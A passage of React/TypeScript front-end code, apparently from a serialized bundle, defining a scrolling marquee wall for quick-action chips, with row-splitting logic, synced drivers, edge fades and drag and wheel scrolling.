(\n      <QuickActionChipFromData\n        key={chip.id}\n        chip={chip}\n        defaultTheme={theme}\n        defaultLozenge={lozenges}\n        interactive={!!chip.onSelect}\n        className=\"max-w-full\"\n      />\n    ))\n\n  const renderChips = () => (loading ? renderSkeletons(skeletonCount) : renderChipNodes(track))\n\n  // ONE pitch for chips, clone seams, and (brick mode) the row stack — a\n  // custom `copyGap` moves all three together, so no seam can ever disagree\n  // with the chip gap.\n  const gap = copyGap ?? 'var(--spacing-system-xsf)'\n\n  // ---- BRICK-WALL mode: stacked independent row marquees ---------------------\n  if (rows && rows > 0) {\n    // Chat-agent walls (fae/mingo) grow the stack with the chip supply and cap\n    // it at AGENT_MAX_ROWS (2) so the actions stay compact above the composer.\n    // Every other surface keeps exactly `rows` rows (marketing/onboarding walls\n    // are sized for their design and carry far fewer than a full course/row).\n    const agentCapped = agentSlug === 'fae' || agentSlug === 'mingo'\n    const rowCap = agentCapped ? Math.min(rows, AGENT_MAX_ROWS) : rows\n    const dataRows = agentCapped\n      ? Math.min(Math.max(1, Math.ceil(chips.length / DEFAULT_MIN_CHIPS_PER_ROW)), rowCap)\n      : rows\n    // Skeletons hold the cap so the row count never jumps when real chips land.\n    const stackRows = loading ? rowCap : dataRows\n    // Per-row overflow target — how many chips one copy must hold to overflow\n    // the container (so the marquee loop engages). Priority: an explicit\n    // `minChips` budget wins; otherwise adapt to the MEASURED width (just enough\n    // repeats to overflow — no more, so a narrow composer isn't flooded with\n    // duplicates); before the first measure (or SSR) fall back to the fixed\n    // default, which overflows any width.\n    const adaptivePerRow =\n      brickWidth > 0 && chipWidth > 0\n        ? Math.min(\n            Math.max(Math.ceil(brickWidth / chipWidth) + ADAPTIVE_PAD_MARGIN, MIN_ADAPTIVE_PAD),\n            MAX_ADAPTIVE_PAD,\n          )\n        : DEFAULT_MIN_CHIPS_PER_ROW\n    const perRowTarget = minChips ? Math.ceil(minChips / stackRows) : adaptivePerRow\n\n    // Split the ORIGINAL chips evenly across the rows FIRST (each row holds\n    // distinct actions), THEN pad each row to a full course with repeats of its\n    // OWN chips — so a row is never all-duplicates while another carries the\n    // unique ones (the old pad-then-slice split did exactly that when the chip\n    // count lined up with the row count).\n    const rowLists = Array.from({ length: stackRows }, (_, r) => {\n      const base = chips.filter((_, i) => i % stackRows === r)\n      if (base.length === 0 || base.length >= perRowTarget) return base\n      const repeats = Math.ceil(perRowTarget / base.length)\n      return Array.from({ length: repeats }, (_, rep) =>\n        rep === 0 ? base : base.map(chip => ({ ...chip, id: `${chip.id}__r${rep}` })),\n      ).flat()\n    })\n    const skelPerRow = Math.ceil(skeletonCount / stackRows)\n    return (\n      <div ref={brickRef} className={cn('relative flex flex-col overflow-hidden', className)} style={{ gap }}>\n        {rowLists.map((list, r) => (\n          <MarqueeWall\n            key={r}\n            mode={mode}\n            axis=\"x\"\n            reverse={reverse}\n            speed={speed}\n            animate={animate && !loading}\n            pauseOnHover={pauseOnHover}\n            dragScroll={dragScroll}\n            copyGap={gap}\n            contentClassName={cn('flex items-center', contentClassName)}\n            contentStyle={{ gap }}\n          >\n            {loading ? renderSkeletons(skelPerRow, r * 3) : renderChipNodes(list)}\n          </MarqueeWall>\n        ))}\n        {mode === 'animated' && (\n          <MarqueeWallFades fade={fade} fadeColor={fadeColor} fadeSize={fadeSize} />\n        )}\n      </div>\n    )\n  }\n\n  return (\n    <MarqueeWall\n      mode={mode}\n      axis={axis}\n      reverse={reverse}\n      speed={speed}\n      // Skeleton walls stay put — the marquee starts when real chips land.\n      animate={animate && !loading}\n      pauseOnHover={pauseOnHover}\n      dragScroll={dragScroll}\n      fade={fade}\n      fadeColor={fadeColor}\n      fadeSize={fadeSize}\n      copyGap={gap}\n      className={className}\n      contentClassName={cn('flex flex-wrap content-start items-start', contentClassName)}\n      contentStyle={{ gap }}\n      sync={sync}\n    >\n      {renderChips()}\n    </MarqueeWall>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { useMarqueeEngine } from '../../hooks/ui/use-marquee-engine'\nimport { useMediaQuery } from '../../hooks/ui/use-media-query'\nimport { useResetOnPageHidden } from '../../hooks/ui/use-reset-on-page-hidden'\nimport { useSuppressCloneFocus } from '../../hooks/ui/use-suppress-clone-focus'\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport'\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport type MarqueeWallFadeEdge = 'top' | 'bottom' | 'left' | 'right'\n\n/** One spelling of the `fade` prop's edge-list normalization. */\nfunction normalizeFades(\n  fade: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge> | undefined,\n): ReadonlyArray<MarqueeWallFadeEdge> {\n  return fade ? (Array.isArray(fade) ? fade : [fade as MarqueeWallFadeEdge]) : []\n}\n\n/** @internal per-instance sync membership (transform writer + driver-role\n *  promotion callback, so a surviving member can be re-elected). */\ninterface MarqueeSyncMember {\n  apply: (pos: number) => void\n  makeDriver: () => void\n}\n\n/**\n * Pairs two (or more) <MarqueeWall> instances to ONE position driver so their\n * tracks stay pixel-locked (the FreeTrialCTA resolve strips: a pending and a\n * resolved copy of the same chips, clip-path'd at the avatar line). The first\n * mounted instance claims the driver role and runs the shared rAF; the others\n * only register their `apply` transforms. If the driver unmounts while\n * members survive, the next member is promoted — the pair must merely be\n * geometry-identical while mounted together.\n */\nexport interface MarqueeSyncController {\n  /** @internal registered members in mount order. */\n  members: Set<MarqueeSyncMember>\n  /** @internal current driver member. */\n  driver: MarqueeSyncMember | null\n  /** @internal last driver-written position — a promoted driver's engine\n   *  seeds from it, so re-election never snaps the pair back to 0. */\n  position: number\n}\n\nexport function useMarqueeSync(): MarqueeSyncController {\n  return React.useRef<MarqueeSyncController>({ members: new Set(), driver: null, position: 0 }).current\n}\n\n// =============================================================================\n// FLIP coordination — live track offsets + loop-clone helpers\n// =============================================================================\n\nexport interface MarqueeTrackOffset {\n  /** Applied translation (px) along each axis. */\n  x: number\n  y: number\n  /** Loop wrap size (single copy + seam gap) along each axis; 0 on the\n   *  non-scroll axis. Lets morph engines treat a chip and its loop clone as\n   *  ONE identity `wrap` apart (the Swiper loop-clone model) and fly the\n   *  copy the viewer actually sees. */\n  wrapX: number\n  wrapY: number\n}\n\n/**\n * Registry of each named wall's CURRENT applied translation, written every\n * engine frame and deliberately kept after unmount: a FLIP-across-remounts\n * morph (deck `useFlipMorph`) captures element positions at COMMIT time, so\n * chips inside a drifting marquee would fly from stale origins. With a\n * `trackId` the wall stamps `data-marquee-track` on its container and\n * publishes its offset here; the morph engine corrects captured points by\n * the wall's drift since capture (including drift accrued right up to the\n * source wall's unmount — hence the survive-unmount map).\n */\nconst MARQUEE_TRACK_OFFSETS = new Map<string, MarqueeTrackOffset>()\n\nconst ZERO_OFFSET: MarqueeTrackOffset = { x: 0, y: 0, wrapX: 0, wrapY: 0 }\n\n/** Last known translation + wrap of the wall registered under `trackId`\n *  (live or already unmounted). Zeros for unknown ids / static walls. */\nexport function getMarqueeTrackOffset(trackId: string): MarqueeTrackOffset {\n  return MARQUEE_TRACK_OFFSETS.get(trackId) ?? ZERO_OFFSET\n}\n\n/**\n * The translation ACTUALLY applied to a wall's track right now, read from the\n * DOM of the `data-marquee-track` container. Morph engines use this on the\n * CAPTURE side (never the registry): a same-id wall freshly remounted in the\n * current commit has not applied any transform yet, while the registry still\n * holds its predecessor's final drift for the flight-side lookup.\n */\nexport function getMarqueeAppliedOffset(trackContainer: Element): { x: number; y: number } {\n  const track = trackContainer.firstElementChild\n  const t = track ? getComputedStyle(track).transform : 'none'\n  if (!t || t === 'none') return { x: 0, y: 0 }\n  const m = new DOMMatrixReadOnly(t)\n  return { x: m.e, y: m.f }\n}\n\n/**\n * The loop-clone twin of an element inside a wall's PRIMARY copy (same index\n * in the `data-marquee-copy=\"clone\"` copy), or null when there is no clone /\n * the element isn't in the primary copy. Owns the wall's internal DOM shape\n * so morph engines don't hardcode it; `selector` scopes which descendants\n * count as items (default: direct structure-preserving lookup by class is the\n * caller's job — pass the item selector, e.g. `'.flipchip'`).\n */\nexport function getMarqueeCloneTwin(\n  trackContainer: Element,\n  el: Element,\n  selector: string,\n): HTMLElement | null {\n  const primary = trackContainer.querySelector('[data-marquee-copy=\"primary\"]')\n  const clone = trackContainer.querySelector('[data-marquee-copy=\"clone\"]')\n  if (!primary || !clone || !primary.contains(el)) return null\n  const idx = Array.prototype.indexOf.call(primary.querySelectorAll(selector), el)\n  if (idx < 0) return null\n  return (clone.querySelectorAll(selector)[idx] as HTMLElement | undefined) ?? null\n}\n\nexport interface MarqueeWallProps {\n  /**\n   * Presentation mode — the consumer's one switch for \"do I want the\n   * blur + marquee here at all\":\n   * - `'animated'` (default): endless marquee when content overflows, with\n   *   the overflow fades.\n   * - `'plain'`: no motion, no fades — a plain clipped wall. All marquee\n   *   machinery (engine, clone copy, fades) is skipped entirely.\n   */\n  mode?: 'animated' | 'plain'\n  /**\n   * Marquee axis. Defaults to where the fade sits — the animation's job is to\n   * reveal what the fade hides: a `bottom`/`top` fade clips rows → vertical\n   * (content travels bottom→top); a `left`/`right`-only fade clips columns →\n   * horizontal (content travels right→left). No fade → horizontal.\n   */\n  axis?: 'x' | 'y'\n  /** Reverse travel: `x` reversed moves content right, `y` reversed moves it\n   *  down. Default false (left / up). */\n  reverse?: boolean\n  /** Scroll speed in px/s (the CardsStrip unit — one speed language across\n   *  every marquee). Default 40: calm chip-wall drift, slower than the 60 the\n   *  card strips cruise at. */\n  speed?: number\n  /** Master switch. Even when true the marquee auto-disables while the content\n   *  fits the container and under `prefers-reduced-motion` (static wall). */\n  animate?: boolean\n  /** Freeze while a hover-capable pointer is anywhere over the wall — content\n   *  must never move under a pointing cursor (required for interactive chip\n   *  walls). Default true. */\n  pauseOnHover?: boolean\n  /** Opt-in MANUAL scroll: pointer-drag + horizontal wheel move the wall along\n   *  its axis (transform-based — no inner scroller is created, so it stays\n   *  deck-safe). The auto-marquee pauses during the interaction and briefly\n   *  after, then resumes drifting from wherever the user left it. Off by\n   *  default (decorative walls stay auto-only); enabled on the embeddable-chat\n   *  quick-action walls so users can browse the actions by hand. */\n  dragScroll?: boolean\n  /** Edge fade(s) — the \"there's more\" affordance. ONE spelling of the\n   *  clip-and-fade across every wall surface. */\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>\n  /** The color the fades blend INTO — must match the surface behind the wall\n   *  or the gradient paints a visible box. Default the page background. */\n  fadeColor?: string\n  /** Fade thickness: one value for all edges or a per-edge map. Defaults:\n   *  40px vertical edges, 112px horizontal edges (the shipped hero-wall\n   *  geometry). */\n  fadeSize?: number | string | Partial<Record<MarqueeWallFadeEdge, number | string>>\n  /** Gap between the two track copies — match the content's own item gap so\n   *  the seam is invisible. A CSS length string (e.g. `var(--tlcl-chipgap)`)\n   *  lets responsive CSS own the value; the true seam distance is MEASURED\n   *  from the rendered copies either way. Default 8. */\n  copyGap?: number | string\n  /** Outer container class — sizing lives here (height cap for `y`, width for\n   *  `x`). The container is always `relative overflow-hidden`. */\n  className?: string\n  /** Class on EACH track copy — the wall's own layout (e.g. a wrapping chip\n   *  row `flex flex-wrap gap-2`, or a fixed-width grid). */\n  contentClassName?: string\n  /** Inline style on EACH track copy — for values classes can't carry (e.g.\n   *  an item gap driven by the same variable as `copyGap`, so chip pitch and\n   *  seam pitch stay one value by construction). */\n  contentStyle?: React.CSSProperties\n  /**\n   * Wall content — ONE copy; the wall clones it for the endless loop (clone\n   * `aria-hidden` + focus-suppressed but still clickable). Pass a render\n   * callback to vary the clone copy (e.g. omit `data-flip-id`s / render\n   * decorative chips). Children must be clone-safe: ref-free, unique-DOM-id-\n   * free, mount-effect-free (same contract as <CardsStrip> children mode).\n   */\n  children: React.ReactNode | ((ctx: { isClone: boolean }) => React.ReactNode)\n  /** Pair this wall with sibling walls under one shared position driver. */\n  sync?: MarqueeSyncController\n  /** Stable id for FLIP coordination: publishes the wall's live offset via\n   *  {@link getMarqueeTrackOffset} and stamps `data-marquee-track` on the\n   *  container so morph engines can drift-correct captured positions. */\n  trackId?: string\n}\n\n// =============================================================================\n// Internals\n// =============================================================================\n\nconst DEFAULT_FADE_SIZE: Record<MarqueeWallFadeEdge, string> = {\n  top: '40px',\n  bottom: '40px',\n  left: '112px',\n  right: '112px',\n}\n\nconst FADE_POSITION: Record<MarqueeWallFadeEdge, string> = {\n  top: 'inset-x-0 top-0',\n  bottom: 'inset-x-0 bottom-0',\n  left: 'inset-y-0 left-0',\n  right: 'inset-y-0 right-0',\n}\n\n/** The wall's edge-fade overlays — exported so composite walls (stacked row\n *  marquees) can draw ONE set of fades over the whole stack instead of\n *  per-row copies. Parent must be `relative`. Overlays sit at z-1, ABOVE\n *  FLIP flight ghosts (z-0 by contract): an in-flight chip dissolves under\n *  the blur exactly like a resting chip. */\nexport function MarqueeWallFades({\n  fade,\n  fadeColor = 'var(--color-bg)',\n  fadeSize,\n}: {\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>\n  fadeColor?: string\n  fadeSize?: MarqueeWallProps['fadeSize']\n}) {\n  return (\n    <>\n      {normalizeFades(fade).map(edge => {\n        const size =\n          (typeof fadeSize === 'object' && fadeSize !== null ? fadeSize[edge] : fadeSize) ??\n          DEFAULT_FADE_SIZE[edge]\n        const px = typeof size === 'number' ? `${size}px` : size\n        const isY = edge === 'top' || edge === 'bottom'\n        return (\n          <div\n            key={edge}\n            aria-hidden\n            // Edge marker: lets morph engines measure the fade bands when\n            // they need band-aware behavior.\n            data-marquee-fade={edge}\n            className={cn('pointer-events-none absolute z-[1]', FADE_POSITION[edge])}\n            style={{\n              [isY ? 'height' : 'width']: px,\n              backgroundImage: `linear-gradient(to ${edge}, transparent, ${fadeColor})`,\n            }}\n          />\n        )\n      })}\n    </>\n  )\n}\n\n/** Clone track copy — aria-hidden with focusable descendants suppressed (but\n *  clickable, the shared loop-clone treatment). */\nfunction CloneCopy({\n  className,\n  style,\n  children,\n}: {\n  className?: string\n  style?: React.CSSProperties\n  children: React.ReactNode\n}) {\n  const ref = useSuppressCloneFocus(true)\n  return (\n    <div ref={ref} aria-hidden data-marquee-copy=\"clone\" className={className} style={style}>\n      {children}\n    </div>\n  )\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * <MarqueeWall> — THE endless-scroll wall container: a clipped area whose\n * content loops as a marquee along either axis, fading out where the clip\n * cuts. Built on the same `useMarqueeEngine` core as <CardsStrip> (the news /\n * logo / bites strips) with a TRANSFORM driver instead of a scroller — no\n * inner scrollable area is created, so it is safe inside surfaces that forbid\n * nested scrollers (the deck's mobile single-fold panels).\n *\n * Static by circumstance, not by variant: when the content fits the container\n * (or `prefers-reduced-motion`) the wall renders a single static copy with\n * its fades — byte-identical to the old non-animated walls.\n */\nexport function MarqueeWall({\n  mode = 'animated',\n  axis: axisProp,\n  reverse = false,\n  speed = 40,\n  animate = true,\n  pauseOnHover = true,\n  dragScroll = false,\n  fade,\n  fadeColor = 'var(--color-bg)',\n  fadeSize,\n  copyGap = 8,\n  className,\n  contentClassName,\n  contentStyle,\n  children,\n  sync,\n  trackId,\n}: MarqueeWallProps) {\n  const fades = React.useMemo(() => normalizeFades(fade), [fade])\n  const axis = axisProp ?? (fades.includes('top') || fades.includes('bottom') ? 'y' : 'x')\n\n  const containerRef = React.useRef<HTMLDivElement | null>(null)\n  const trackRef = React.useRef<HTMLDivElement | null>(null)\n  const copyRef = React.useRef<HTMLDivElement | null>(null)\n\n  // ---- environment -----------------------------------------------------------\n  const reducedMotion = useMediaQuery('(prefers-reduced-motion: reduce)') ?? false\n\n  // ---- overflow + seam measurement -------------------------------------------\n  // One copy vs the container along the axis decides overflow (no overflow →\n  // nothing hidden → no marquee, no clone). The WRAP size — the loop's seam\n  // distance — is MEASURED as the offset delta between the two rendered\n  // copies, so it is exact whatever produced the gap (numeric prop or a\n  // responsive CSS variable); before the clone mounts it falls back to\n  // copy size + numeric gap, corrected on the next measure.\n  const [overflows, setOverflows] = React.useState(false)\n  const copySizeRef = React.useRef(0)\n  const wrapSizeRef = React.useRef(0)\n  const measure = React.useCallback(() => {\n    const container = containerRef.current\n    const copy = copyRef.current\n    if (!container || !copy) return\n    const size = axis === 'y' ? copy.offsetHeight : copy.offsetWidth\n    copySizeRef.current = size\n    const clone = trackRef.current?.querySelector<HTMLElement>('[data-marquee-copy=\"clone\"]')\n    wrapSizeRef.current = clone\n      ? axis === 'y'\n        ? clone.offsetTop - copy.offsetTop\n        : clone.offsetLeft - copy.offsetLeft\n      : size + (typeof copyGap === 'number' ? copyGap : 0)\n    const avail = axis === 'y' ? container.clientHeight : container.clientWidth\n    setOverflows(size > avail + 1)\n  }, [axis, copyGap])\n  // Structural gate — the wall IS a marquee (clone copy + transform driver\n  // mounted) whenever its content overflows and motion is allowed, INDEPENDENT\n  // of the per-beat `animate` run-gate. Keeping it mounted across a pause lets\n  // the wall FREEZE in place (rAF stops, transform + clone stay put) instead of\n  // snapping the track back to its origin — that reset read as a flicker every\n  // time a stepped slide advanced past a wall's active beat, or the deck-wide\n  // WCAG pause toggled. Only genuinely going static (content now fits, or\n  // reduced-motion) unmounts the clone and clears the transform.\n  const marqueeMounted = mode === 'animated' && !reducedMotion && overflows\n  // Run-gate — the rAF drives the track only while this wall's beat is active.\n  // Toggling it (step-gate / deck-wide pause / off-screen) freezes and resumes\n  // in place; the velocity envelope persists so resume is at cruise, not a\n  // 0→speed ramp (same contract as the `nearViewport` gate below).\n  const marqueeActive = marqueeMounted && animate\n  React.useEffect(() => {\n    measure()\n    const container = containerRef.current\n    const copy = copyRef.current\n    if (!container || !copy || typeof ResizeObserver === 'undefined') return\n    const ro = new ResizeObserver(measure)\n    ro.observe(container)\n    ro.observe(copy)\n    return () => ro.disconnect()\n    // marqueeMounted: the clone mounts with it — re-measure for the true seam.\n  }, [measure, marqueeMounted])\n\n  // Viewport gates `active` (rAF fully stops off-screen) instead of being a\n  // pause REASON: the velocity envelope persists across engine restarts, so\n  // scrolling a wall back into view resumes at cruise speed instantly — a\n  // pause-reason resume would ramp 0→speed over ~250ms, a visible\n  // stopped-then-start on every slide/section entry.\n  const [nearViewport, setNearViewport] = React.useState(true)\n  React.useEffect(() => {\n    const el = containerRef.current\n    if (!el || typeof IntersectionObserver === 'undefined') return\n    const io = new IntersectionObserver(\n      entries => setNearViewport(entries[0]?.isIntersecting ?? true),\n      { rootMargin: NEAR_VIEWPORT_ROOT_MARGIN },\n    )\n    io.observe(el)\n    return () => io.disconnect()\n  }, [])\n\n  // ---- pause-reason set ------------------------------------------------------\n  const pointerInsideRef = React.useRef(false)\n  const clearPointerInside = React.useCallback(() => {\n    pointerInsideRef.current = false\n  }, [])\n  const onPointerEnter = React.useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return\n    pointerInsideRef.current = true\n  }, [])\n  const onPointerLeave = React.useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return\n    pointerInsideRef.current = false\n  }, [])\n  // Stale-flag self-heal (shared SSOT): if a `pointerleave` is MISSED (tab blur,\n  // overlay under the cursor, interrupted pointer), `inside` stays stuck true and\n  // the wall freezes forever — so un-stick it whenever the tab hides / the window\n  // loses focus. The next real pointer/enter re-arms it.\n  useResetOnPageHidden(clearPointerInside)\n\n  // ---- manual drag / wheel scroll (opt-in via `dragScroll`) ------------------\n  // Transform-based (no inner scroller → deck-safe): drag/wheel move the\n  // engine's float position directly; `draggingRef` + a short suppress window\n  // pause the auto-marquee during and just after the interaction so it resumes\n  // drifting from where the user left it. Refs declared here (before the engine)\n  // so `isPaused` can read them; the handlers (which need the engine's `wrap`)\n  // are defined after the engine call.\n  const draggingRef = React.useRef(false)\n  const dragSuppressUntilRef = React.useRef(0)\n\n  // ---- transform driver ------------------------------------------------------\n  const applyTransform = React.useCallback(\n    (pos: number) => {\n      const track = trackRef.current\n      if (!track) return\n      const wrapSize = wrapSizeRef.current\n      const t = reverse ? pos - wrapSize : -pos\n      track.style.transform = axis === 'y' ? `translate3d(0, ${t}px, 0)` : `translate3d(${t}px, 0, 0)`\n      if (trackId) {\n        MARQUEE_TRACK_OFFSETS.set(\n          trackId,\n          axis === 'y'\n            ? { x: 0, y: t, wrapX: 0, wrapY: wrapSize }\n            : { x: t, y: 0, wrapX: wrapSize, wrapY: 0 },\n        )\n      }\n    },\n    [axis, reverse, trackId],\n  )\n  // Sync-aware position writer — THE single entry point for every position\n  // update (the engine's rAF apply AND the manual drag/wheel handlers). With a\n  // `sync` controller it publishes to the shared position and drives every peer\n  // wall's transform; without one it just writes our own. Routing drag/wheel\n  // through here (instead of raw `applyTransform`) keeps a wall that is both\n  // `sync`-ed and `dragScroll`-ed in lockstep with its peers — a direct\n  // `applyTransform` would move only this wall and leave `sync.position` + peers\n  // stale. Members' own `apply` stays the raw `applyTransform` (no re-publish),\n  // so the `forEach` fan-out can't recurse.\n  const applyPos = React.useCallback(\n    (pos: number) => {\n      if (sync) {\n        sync.position = pos\n        sync.members.forEach(m => m.apply(pos))\n      } else {\n        applyTransform(pos)\n      }\n    },\n    [sync, applyTransform],\n  )\n  // Clear any residual offset only when the marquee turns off STRUCTURALLY\n  // (content shrank so it fits, reduced-motion flipped) — the static wall must\n  // sit at its natural origin. A mere run-gate pause (`animate` false) does NOT\n  // clear it: the frozen track stays exactly where it stopped (no flicker). The\n  // engine position resets with it (below the engine call) so a later\n  // re-activation re-seeds consistently.\n  React.useEffect(() => {\n    if (marqueeMounted) return\n    const track = trackRef.current\n    if (track) track.style.transform = ''\n    if (trackId) MARQUEE_TRACK_OFFSETS.set(trackId, ZERO_OFFSET)\n  }, [marqueeMounted, trackId])\n  // NOTE deliberately no reset of the registry entry on mount: when a layout\n  // change remounts the SAME trackId in one commit, the morph engine must\n  // still read the OLD wall's final drift for that commit's flight origins.\n  // The new wall's first applied frame (rAF, after all layout effects)\n  // overwrites it. Capture-side reads take the translation from the DOM\n  // ({@link getMarqueeAppliedOffset}), so a stale registry value can never\n  // leak into captured points.\n\n  // ---- sync pairing (driver election by mount order, with re-election) -------\n  const [isDriver, setIsDriver] = React.useState(!sync)\n  React.useEffect(() => {\n    if (!sync) {\n      setIsDriver(true)\n      return\n    }\n    const member: MarqueeSyncMember = { apply: applyTransform, makeDriver: () => setIsDriver(true) }\n    sync.members.add(member)\n    if (sync.driver === null) sync.driver = member\n    setIsDriver(sync.driver === member)\n    return () => {\n      sync.members.delete(member)\n      if (sync.driver === member) {\n        // Promote the next surviving member so the pair never goes driverless\n        // (a driverless pair would freeze — nothing runs the shared rAF).\n        const next = sync.members.values().next()\n        sync.driver = next.done ? null : next.value\n        sync.driver?.makeDriver()\n      }\n    }\n  }, [sync, applyTransform])\n\n  const { posRef, wrap } = useMarqueeEngine({\n    active: marqueeActive && nearViewport && isDriver,\n    speed,\n    isPaused: now =>\n      (pauseOnHover && pointerInsideRef.current) ||\n      draggingRef.current ||\n      now < dragSuppressUntilRef.current ||\n      document.visibilityState === 'hidden',\n    getWrapSize: () => wrapSizeRef.current,\n    apply: applyPos,\n    // Synced pairs: a re-elected driver resumes from the pair's live position\n    // (engine seeds from readBack on activation) instead of restarting at 0.\n    readBack: sync ? () => sync.position : undefined,\n  })\n  // REVERSE-travel continuity: an unstyled track (t = 0) corresponds to\n  // pos = wrapSize, not pos = 0 — seed the position on activation so the\n  // engine's first frame continues from the freshly-painted state instead of\n  // teleporting the track a full wrap upward. Without this, a FLIP morph\n  // capturing against the mount paint saw every chip (and every in-flight\n  // ghost target) jump a copy-height on the next frame — the \"chips pour in\n  // from the top instead of flying between panels\" breakage.\n  React.useLayoutEffect(() => {\n    if (!marqueeMounted) {\n      posRef.current = 0\n      return\n    }\n    if (reverse && posRef.current === 0) {\n      posRef.current = Math.max(0, wrapSizeRef.current - 0.01)\n    }\n  }, [marqueeMounted, reverse, posRef])\n\n  // ---- manual drag / wheel handlers (only wired when `dragScroll`) -----------\n  const DRAG_RESUME_MS = 1200\n  const dragStartRef = React.useRef({ coord: 0, pos: 0 })\n  const dragMovedRef = React.useRef(false)\n  const suppressClickRef = React.useRef(false)\n\n  const onDragPointerDown = React.useCallback((e: React.PointerEvent) => {\n    if (!marqueeMounted) return\n    draggingRef.current = true\n    dragMovedRef.current = false\n    // Clear any click-suppress left armed by a prior drag that ended WITHOUT a\n    // synthetic click on this container (pointercancel, or the pointer released\n    // off the wall) — otherwise `onDragClickCapture` would swallow this fresh\n    // tap's action. A new press is unambiguously a new intent.\n    suppressClickRef.current = false\n    dragStartRef.current = { coord: axis === 'y' ? e.clientY : e.clientX, pos: posRef.current }\n    // NOTE deliberately NO setPointerCapture here — capture is taken LAZILY in\n    // `onDragPointerMove`, once the press is proven to be a drag. Capturing on\n    // pointerdown retargets the compatibility mouse events (mouseup, and hence\n    // `click`, which fires at the nearest common ancestor of down/up) from the\n    // pressed element to this container — so a plain tap on a quick-action chip\n    // never reaches the chip's own onClick and the whole wall reads as dead.\n  }, [marqueeMounted, axis, posRef])\n\n  const onDragPointerMove = React.useCallback((e: React.PointerEvent) => {\n    if (!draggingRef.current) return\n    const delta = (axis === 'y' ? e.clientY : e.clientX) - dragStartRef.current.coord\n    if (Math.abs(delta) > 3 && !dragMovedRef.current) {\n      dragMovedRef.current = true\n      // Past the threshold this IS a drag: capture so the gesture keeps\n      // tracking once the pointer leaves the wall. Retargeting click is now\n      // WANTED — the trailing synthetic click is suppressed below anyway.\n      try { containerRef.current?.setPointerCapture(e.pointerId) } catch { /* best-effort */ }\n    }\n    // Track follows the pointer. `applyPos` maps pos→translate as `-pos`\n    // (forward) / `pos-wrap` (reverse), so a rightward/downward drag (delta > 0)\n    // must DECREASE pos on a forward wall and INCREASE it on a reverse one.\n    // Via `applyPos` (not raw `applyTransform`) so synced peer walls follow.\n    posRef.current = wrap(dragStartRef.current.pos + (reverse ? delta : -delta))\n    applyPos(posRef.current)\n    dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS\n  }, [axis, reverse, wrap, posRef, applyPos])\n\n  const onDragPointerUp = React.useCallback((e: React.PointerEvent) => {\n    if (!draggingRef.current) return\n    draggingRef.current = false\n    // A real drag ends over a chip → swallow the synthetic click so the drag\n    // doesn't fire the chip's action.\n    if (dragMovedRef.current) suppressClickRef.current = true\n    dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS\n    // Only ever captured past the drag threshold (see `onDragPointerMove`).\n    if (dragMovedRef.current) {\n      try { containerRef.current?.releasePointerCapture(e.pointerId) } catch { /* best-effort */ }\n    }\n  }, [])\n\n  // Pre-threshold presses hold NO pointer capture, so a pointer that leaves the\n  // wall before becoming a drag would never deliver its `pointerup` here and\n  // `draggingRef` would stay stuck true — freezing the marquee forever. End the\n  // gesture on leave; a captured (real) drag keeps running, capture guarantees\n  // its own pointerup.\n  const onDragPointerLeave = React.useCallback((e: React.PointerEvent) => {\n    onPointerLeave(e)\n    if (draggingRef.current && !dragMovedRef.current) draggingRef.current = false\n  }, [onPointerLeave])\n\n  const onDragClickCapture = React.useCallback((e: React.MouseEvent) => {\n    if (suppressClickRef.current) {\n      suppressClickRef.current = false\n      e.preventDefault()\n      e.stopPropagation()\n    }\n  }, [])\n\n  // Along-axis wheel → move the wall. Wired as a NATIVE non-passive listener\n  // (not React's `onWheel`, which React attaches passively so `preventDefault`\n  // is a no-op): once WE consume an along-axis wheel we must `preventDefault` to\n  // suppress the browser's horizontal history-swipe (two-finger trackpad) on an\n  // x-wall. An x-wall ignores vertical page-scroll wheels (and vice-versa) so the\n  // surrounding page still scrolls normally.\n  React.useEffect(() => {\n    const el = containerRef.current\n    if (!el || !dragScroll || !marqueeMounted) return\n    const onWheel = (e: WheelEvent) => {\n      // Only claim the DOMINANT-axis wheel (per axis), so a cross-axis wheel\n      // still scrolls the page: an x-wall ignores vertical wheels, a y-wall\n      // ignores horizontal ones.\n      const primary =\n        axis === 'y'\n          ? Math.abs(e.deltaY) >= Math.abs(e.deltaX)\n            ? e.deltaY\n            : 0\n          : Math.abs(e.deltaX) >= Math.abs(e.deltaY)\n            ? e.deltaX\n            : 0\n      if (primary === 0) return\n      e.preventDefault()\n      // Via `applyPos` (not raw `applyTransform`) so synced peer walls follow.\n      posRef.current = wrap(posRef.current + (reverse ? -primary : primary))\n      applyPos(posRef.current)\n      dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS\n    }\n    el.addEventListener('wheel', onWheel, { passive: false })\n    return () => el.removeEventListener('wheel', onWheel)\n  }, [dragScroll, marqueeMounted, axis, reverse, wrap, posRef, applyPos])\n\n  // ---- render ----------------------------------------------------------------\n  const renderContent = (isClone: boolean) =>\n    typeof children === 'function' ? children({ isClone }) : children\n\n  // Reduced-motion static fallback: when the marquee does NOT mount (chiefly\n  // prefers-reduced-motion) but the content OVERFLOWS, the drag/transform path\n  // is inert — so on a `dragScroll` wall fall back to NATIVE\n  // overflow scroll along the axis. Otherwise the overflowing chips would be\n  // clipped by `overflow-hidden` with no way to reach them (a11y regression vs\n  // the old wrapping row). The scrollbar itself stays hidden (`scrollbar-hide`)\n  // so the static wall matches the marquee's chrome-free look — native wheel\n  // and touch scrolling still work (the transform-based drag path is gated on\n  // `marqueeMounted`, so pointer drag is marquee-only). No engine needed — the\n  // browser scrolls the single static track.\n  const staticScrollable = dragScroll && overflows && !marqueeMounted\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        'relative',\n        staticScrollable ? (axis === 'y' ? 'overflow-y-auto' : 'overflow-x-auto') : 'overflow-hidden',\n        staticScrollable && 'scrollbar-hide',\n        dragScroll && marqueeMounted && 'cursor-grab active:cursor-grabbing 